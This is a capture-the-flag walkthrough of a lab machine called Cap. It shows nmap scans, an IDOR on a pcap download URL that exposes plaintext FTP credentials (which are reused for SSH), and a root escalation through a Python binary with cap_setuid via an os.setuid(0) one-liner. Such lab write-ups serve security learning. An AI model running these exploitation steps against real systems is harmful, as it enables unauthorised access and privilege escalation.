Cap starts by identifying an IDOR vulnerability on its hosted website. Using this IDOR, I can obtain a pcap file containing a set of FTP login credentials that can also be used for SSH login. Enumerating the system reveals that the installed Python binary has the CAP_SETUID capability set, which can be exploited to gain root access.

Skills Learned

  • Identifying/Exploiting IDOR
  • Exploiting CAP_SETUID on Python


  • nmap
  • wireshark



Running nmap scan against this machine reveals 3 open ports: SSH on 22, FTP on 21, and HTTP on 80.

→ root@kali «cap» «» 
$ nmap -p- --min-rate 1000 --reason -oA nmap/10-tcp-allport        
Starting Nmap 7.80 ( ) at 2021-06-09 05:07 EDT
Nmap scan report for
Host is up, received echo-reply ttl 63 (0.070s latency).
Not shown: 65532 closed ports
Reason: 65532 resets
21/tcp open  ftp     syn-ack ttl 63
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Nmap done: 1 IP address (1 host up) scanned in 45.33 seconds
→ root@kali «cap» «» 
$ nmap -p21,22,80 -sC -sV -oA nmap/10-tcp-allport-script
Starting Nmap 7.80 ( ) at 2021-06-09 05:08 EDT
Nmap scan report for
Host is up (0.062s latency).

21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    gunicorn
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 404 NOT FOUND
|     Server: gunicorn
|     Date: Wed, 09 Jun 2021 09:08:25 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 232
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Wed, 09 Jun 2021 09:08:19 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 19386
|     <!DOCTYPE html>
|     <html class="no-js" lang="en">
|     <head>
|     <meta charset="utf-8">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title>Security Dashboard</title>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <link rel="shortcut icon" type="image/png" href="/static/images/icon/favicon.ico">
|     <link rel="stylesheet" href="/static/css/bootstrap.min.css">
|     <link rel="stylesheet" href="/static/css/font-awesome.min.css">
|     <link rel="stylesheet" href="/static/css/themify-icons.css">
|     <link rel="stylesheet" href="/static/css/metisMenu.css">
|     <link rel="stylesheet" href="/static/css/owl.carousel.min.css">
|     <link rel="stylesheet" href="/static/css/slicknav.min.css">


|_http-server-header: gunicorn
|_http-title: Security Dashboard
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :


Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 131.73 seconds

Since nmap didn’t show anonymous login in FTP, I will head to the website.


TCP 80 - Website

When I get to the website on port 80, I find that I’ve already logged in as Nathan.


There are some menu in the side navigation bar. One menu that I find interesting is the “Security Snapshot”.


In the “Security Snapshot” page, there is a download button which gives me a pcap file. Based on the URL, it seems there are 8 pcap files that have been generated so far.


When I open the pcap file, it was empty.


The download URL for pcap file is interesting here, and when I change it to 0, it pops another download prompt.



Shell as nathan

Pcap Analysis

There are quite a lot of traffic captured in this 0.pcap file, but if I filter it to only show FTP, it shows that there is an FTP login performed by user nathan. Since there is no encryption, I can also see the login password.


FTP access

Entering nathan:Buck3tH4Tf0RM3 logs me in into the FTP server, and I can read the user flag from there.

→ root@kali «cap» «» 
$ ftp
Connected to
220 (vsFTPd 3.0.3)
Name ( nathan
331 Please specify the password.
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-rw-r--    1 1001     1001         8088 Jun 09 08:04 25134.c
-rwxrwxr-x    1 1001     1001        18360 Jun 09 08:25 exp
-rwxrwxr-x    1 1001     1001       342868 Jun 09 06:24
drwxr-xr-x    3 1001     1001         4096 Jun 09 06:26 snap
-r--------    1 1001     1001           33 Jun 09 04:59 user.txt
226 Directory send OK.

SSH - nathan

The credentials can also be used for SSH login.

→ root@kali «cap» «» 
$ ssh nathan@
nathan@'s password: 
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-73-generic x86_64)

 * Documentation:
 * Management:
 * Support:

  System information as of Wed Jun  9 09:35:15 UTC 2021

  System load:           0.0
  Usage of /:            35.0% of 8.73GB
  Memory usage:          34%
  Swap usage:            0%
  Processes:             229
  Users logged in:       0
  IPv4 address for eth0:
  IPv6 address for eth0: dead:beef::250:56ff:feb9:f2f1

  => There are 4 zombie processes.


Last login: Wed Jun  9 08:53:04 2021 from
nathan@cap:~$ id
uid=1001(nathan) gid=1001(nathan) groups=1001(nathan)

Privilege Escalation

Shell as root

Web source code

With shell access, I went to the web directory.

nathan@cap:/var/www/html$ ls -l
total 24
drwxr-xr-x 2 nathan nathan 4096 May 27 09:10 __pycache__
-rw-r--r-- 1 nathan nathan 4293 Jun  9 10:19
drwxr-xr-x 6 root   root   4096 May 23 19:17 static
drwxr-xr-x 2 root   root   4096 May 23 19:17 templates
drwxr-xr-x 2 root   root   4096 Jun  9 10:12 upload

Looking at the source code, I see one interesting line code in a variable called command.

@limiter.limit("10 per minute")
def capture():

        pcapid = get_appid()

        path = os.path.join(app.root_path, "upload", str(pcapid) + ".pcap")
        ip = request.remote_addr
        # permissions issues with gunicorn and threads. hacky solution for now.
        #command = f"timeout 5 tcpdump -w {path} -i any host {ip}"
        command = f"""python3 -c 'import os; os.setuid(0); os.system("timeout 5 tcpdump -w {path} -i any host {ip}")'"""

Linux Capabilities

When I examine the running process, the web server is currently running as nathan, so os.setuid(0) shouldn’t be possible, except the binary has a CAP SETUID capability set.


A quick check on the Python binary shows that it has the cap_setuid set.

nathan@cap:/var/www/html$ ls -l $(which python3)
lrwxrwxrwx 1 root root 9 Mar 13  2020 /usr/bin/python3 -> python3.8
nathan@cap:/var/www/html$ ls -l $(which python3.8)
-rwxr-xr-x 1 root root 5486384 Jan 27 15:41 /usr/bin/python3.8
nathan@cap:/var/www/html$ getcap /usr/bin/python3.8
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip

So I can escalate myself to root with python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'.

nathan@cap:/var/www/html$ python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@cap:/var/www/html# id
uid=0(root) gid=1001(nathan) groups=1001(nathan)
root@cap:/var/www/html# cd /root/
root@cap:/root# ls -l
total 8
-r-------- 1 root root   33 Jun  9 04:59 root.txt
drwxr-xr-x 3 root root 4096 May 23 19:17 snap